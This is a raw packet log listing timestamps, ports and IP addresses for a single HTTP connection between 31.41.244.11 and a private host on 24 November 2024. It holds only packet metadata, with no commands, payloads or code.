Nov 24, 2024 12:24:13.158241034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.158294916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.158363104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.158425093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.159051895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.159109116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.317821026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.318491936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.318499088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.318526030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.318541050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.318558931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.318595886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.319106102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.319170952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.319216967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.320033073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.320107937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.320146084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.320523024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.320959091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.321069002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.321124077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.321871996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.322092056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.322151899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.322989941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.323045015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.323059082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.323735952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.323805094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.323813915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.324632883 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.324701071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.324747086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.324800014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.325526953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.325642109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.325701952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.326534033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.326615095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.326672077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.327341080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.327395916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.327446938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.328282118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.328334093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.328386068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.329181910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.329231024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.329282999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.329334021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.330115080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.330255032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.330322027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.331046104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.331140041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.331192017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.331955910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.332009077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.332088947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.332878113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.332937956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.333015919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.333849907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.333910942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.333961964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.334014893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.334700108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.334829092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.334882021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.335596085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.335694075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.335747004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.336503983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.336575031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.336618900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.337452888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.337526083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.337608099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.338429928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.338438034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.338514090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.338566065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.339270115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.339385033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.339437962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.340195894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.340261936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.340306044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.340359926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.341104031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.341166973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.341269016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.341321945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.342042923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.342107058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.342168093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.342235088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.343017101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.343210936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.343266964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.343955040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.344012022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.344072104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.344779015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.344885111 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.344938993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.345679045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.345731020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.345738888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.346103907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.346585989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.346642017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.346673965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.346718073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.347666979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.347737074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.347800016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.347903967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.348453999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.348539114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.348634958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.348690033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.349345922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.349461079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.349510908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.350321054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.350403070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.350424051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.350446939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.351178885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.351232052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.351413965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.351953983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.352118015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.352178097 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.352202892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.352402925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.353019953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.353075981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.353166103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.353295088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.354041100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.354093075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.354132891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.354132891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.354902029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.354974985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.355110884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.355896950 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.355954885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.355962038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.356744051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.356797934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.356851101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.356904030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.357589006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.357647896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.357698917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.358498096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.358560085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.358603954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.358861923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.359467030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.359528065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.359626055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.359702110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.360342026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.360393047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.360444069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.360622883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.361239910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.361344099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.361354113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.361401081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.362179041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.362238884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.362292051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.362345934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.363101006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.363243103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.363291025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.363996983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.364130020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.364171982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.364902020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.364949942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.365010977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.365638971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.365763903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.365818024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.519428015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.519495010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.519711018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.519797087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.519974947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.520045042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.520045042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.520715952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.520770073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.520819902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.520873070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.521655083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.521708012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.521752119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.521805048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.522546053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.522608995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.522708893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.522762060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.523495913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.523545027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.523686886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.523731947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.524399996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.524450064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.524498940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.524549007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.525285959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.525351048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.525404930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.525495052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.526274920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.526326895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.526339054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.526387930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.527129889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.527182102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.527225018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.527275085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.528130054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.528182030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.528229952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.528281927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.528991938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.529042006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.529087067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.529139996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.529881001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.529961109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.529999971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.530051947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.530818939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.530870914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.530908108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.530958891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.531986952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.532040119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.532125950 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.532176018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.532618999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.532672882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.532733917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.532784939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.533544064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.533593893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.533648014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.533699036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.534480095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.534529924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.534578085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.534624100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.535382986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.535434008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.535484076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.535537004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.536279917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.536331892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.536381960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.536431074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.537205935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.537256002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.537328959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.537379026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.538151026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.538207054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.538256884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.538306952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.539026976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.539077997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.539133072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.539185047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.539989948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.540069103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.540102005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.540150881 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.540864944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.540915966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.540966988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.541019917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.541805983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.541862965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.541914940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.541965008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.542718887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.542773008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.542820930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.542871952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.543633938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.543684959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.543735027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.543809891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.544539928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.544589996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.544632912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.544683933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.545459032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.545509100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.545610905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.545660019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.546392918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.546446085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.546488047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.546534061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.547286987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.547348022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.547388077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.547435999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.548209906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.548259974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.548320055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.548367977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.549104929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.549155951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.549206018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.549254894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.550071955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.550152063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.550169945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.550220966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.550950050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.551002979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.551043987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.551109076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.551877022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.551928997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.551994085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.552046061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.552791119 CET	80	49765	31.41.244.11	192.168.2.4
